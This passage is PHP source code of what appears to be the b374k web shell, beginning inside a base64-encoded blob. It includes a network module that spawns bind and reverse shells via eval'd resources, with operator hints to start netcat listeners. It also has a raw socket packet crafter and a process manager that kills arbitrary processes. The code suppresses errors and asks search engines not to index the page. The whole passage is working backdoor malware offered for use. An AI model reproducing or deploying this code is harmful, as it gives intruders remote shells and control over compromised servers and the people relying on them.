AM3lPabaJuLtO717TkhbaVJpCLp8vFPQyE+OdkdwGws2WN78WNC/ADMUS/EtRyKKUmvPSrFTW8nKVllpyRlvrxNcGGpDHW/utgxRlWpM47cXIbzWK0KjyeI7vpG3cXBHx48fioKdSsvNt180JeNugNPp/G9dHiw7Mp6FuEdP1wYWuhUTFJ6libBKCsrMZbB142LSypxWdAyEdoHZLmsqrQC3GieGkZHQBZOFhLxmeacNRRfn8UEEw6BSDv3/svZRg7AwtklaCK5QBKOUrB3DzG/k8Ut9RRigqUKlRh83jsdIZSLpGKlWAiLY5SKNOT6cPV+Li1EbA+LJbAkTSiNE6dV9/A4cQ6hcjulfbVVZmIu3Z8SvqJHrqhZmC2hymXipRuE7sLUjurA6kgukydUsZRzlDbPb3z4MkohUksLnEO4yPiQlX1EHLwaVmetlacrDvUkqyB8Trbk/U/GZeIu3qVseyKcIN/K//lV9XLR58ezHMIkUjMLq1wxES9VCU9I1a9ivB/eOJMPB9CqZDWODTaJwqSwqjjyyDdWw2ujU7fND/+iq/qlby6fnxEumy//OkMb1dGgomZhxRib9B07XlTLBsVuKr4wiwHnZdFqb8z+Yb8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YMtAnXQhg0uen5zzvTe7PIcjEsrSsvNUElSRD3unww3WhNDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVIhd5qwJmJTukgw4dGVsV2Z2b6lPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM9if/6ADM0mFNQ9IQPpl+2JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA="; $GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
<table class='boxtbl'>
<thead> <tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
</thead>
<tbody> <tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr> <tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
</tbody>
<tfoot> <tr> <td style='width:144px;'> <select id='bindLang' class='rsType'> ".$winbinary." </select> </td> <td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td> </tr> <tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>
</tfoot>
</table>
<br>
<table class='boxtbl'>
<thead> <tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
</thead>
<tbody> <tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr> <tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
</tbody>
<tfoot> <tr> <td style='width:144px;'> <select id='backLang' class='rsType'> ".$winbinary." </select> </td> <td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td> </tr> <tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>
</tfoot>
</table>
<br>
<table class='boxtbl'>
<thead> <tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
</thead>
<tbody> <tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr> <tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
</tbody>
<tfoot> <tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1

</textarea></td></tr> <tr> <td> <span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span> </td> <td>You can also press ctrl+enter to submit</td> </tr> <tr><td colspan='2'><div id='packetResult'></div></td></tr>
</tfoot>
</table>
"; if(isset($p['rsLang']) && isset($p['rsArgs'])){ $rsLang = $p['rsLang']; $rsArgs = $p['rsArgs']; $res = ""; if($rsLang=="php"){ $code = get_resource("rs_".$rsLang); if($code!==false){ $code = "?><?php \$target = \"".$rsArgs."\"; ?>".$code; $res = eval_go($rsLang, $code, "", ""); } } else{ $code = get_resource("rs_".$rsLang); if($code!==false){ $res = eval_go($rsLang, $code, "", $rsArgs); } } if($res===false) $res == "error"; output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){ $packetHost = trim($p['packetHost']); if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; $packetPort = (int) $p['packetPort']; $packetTimeout = (int) $p['packetTimeout']; $packetSTimeout = (int) $p['packetSTimeout']; $packetContent = $p['packetContent']; if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); else{ $packetContent = str_replace(array("
","
"), "", $packetContent); $packetContent = str_replace(array("
","
"), array("
", "
"), $packetContent); } $res = ""; $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); if(!$sock){ $res .= "<div class='weak'>"; $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>"; } else{ stream_set_timeout($sock, $packetSTimeout); fwrite($sock, $packetContent."

"); $counter = 0; $maxtry = 1; $bin = ""; do{ $line = fgets($sock, 1024); if(trim($line)=="") $counter++; $bin .= $line; }while($counter<$maxtry); fclose($sock); $res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>"; $res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>"; } output($res);
} ?><?php
$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = ""; if(!function_exists('show_processes')){ function show_processes(){ $output = ''; $wcount = 11; if(is_win()){ $cmd = "tasklist /V /FO csv"; $wexplode = "\",\""; } else{ $cmd = "ps aux"; $wexplode = " "; } $res = execute($cmd); if(trim($res)=='') return false; else{ $output .= "<table id='psTable' class='dataView sortable'>"; if(!is_win()) $res = preg_replace('#\ +#',' ',$res); $psarr = explode("
",$res); $fi = true; $tblcount = 0; $check = explode($wexplode,$psarr[0]); $wcount = count($check); foreach($psarr as $psa){ if(trim($psa)!=''){ if($fi){ $fi = false; $psln = explode($wexplode, $psa, $wcount); $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>"; foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>"; $output .= "</tr>"; } else{ $psln = explode($wexplode, $psa, $wcount); $pid = trim(trim($psln[1]),"\""); $tblcount = 0; $output .= "<tr data-pid='".$pid."'>"; foreach($psln as $p){ if(trim($p)=="") $p = " "; $p = trim(trim($p) ,"\""); $p = html_safe($p); if($tblcount == 0){ $output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>"; $tblcount++; } else{ $tblcount++; if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>"; else $output .= "<td style='text-align:center;'>".$p."</td>"; } } $output .= "</tr>"; } } } $colspan = count($psln)+1; $colspanAll = $colspan+1; $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>"; } return $output; }
} if(isset($p['showProcesses'])){ $processes = show_processes(); if($processes!==false) output($processes); output('error');
}
elseif(isset($p['allPid'])){ $allPid = explode(" ", $p['allPid']); $counter = 0; foreach($allPid as $pid){ $pid = trim($pid); if(!empty($pid)){ if(function_exists("posix_kill")){ if(posix_kill($pid,'9')) $counter++; } else{ if(is_win()){ $cmd = execute("taskkill /F /PID ".$pid); $cmd = execute("tasklist /FI \"PID eq ".$pid."\""); if(strpos($cmd,"No tasks are running")!==false) $counter++; } else{ $cmd = execute("kill -9 ".$pid); if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ $cmd = trim(execute("ps -p ".$pid)); $check = explode("
", $cmd); if(count($check)==1) $counter++; } } } } } if($counter>0) output($counter); else output('error');
} ?><?php
$error = @ob_get_contents();
$error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("

", "
", html_safe($error))."</pre>":"";
@ob_end_clean();
error_reporting(0);
@ini_set('display_errors','0');?><!doctype html>
<html>
<head>
<title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
<meta charset='utf-8'>
<meta name='robots' content='noindex, nofollow, noarchive'>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
<link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
<style type="text/css">
@font-face {
font-family:'ubuntumono';
src:url(data:application/x-font-woff;charset=utf-8;base64,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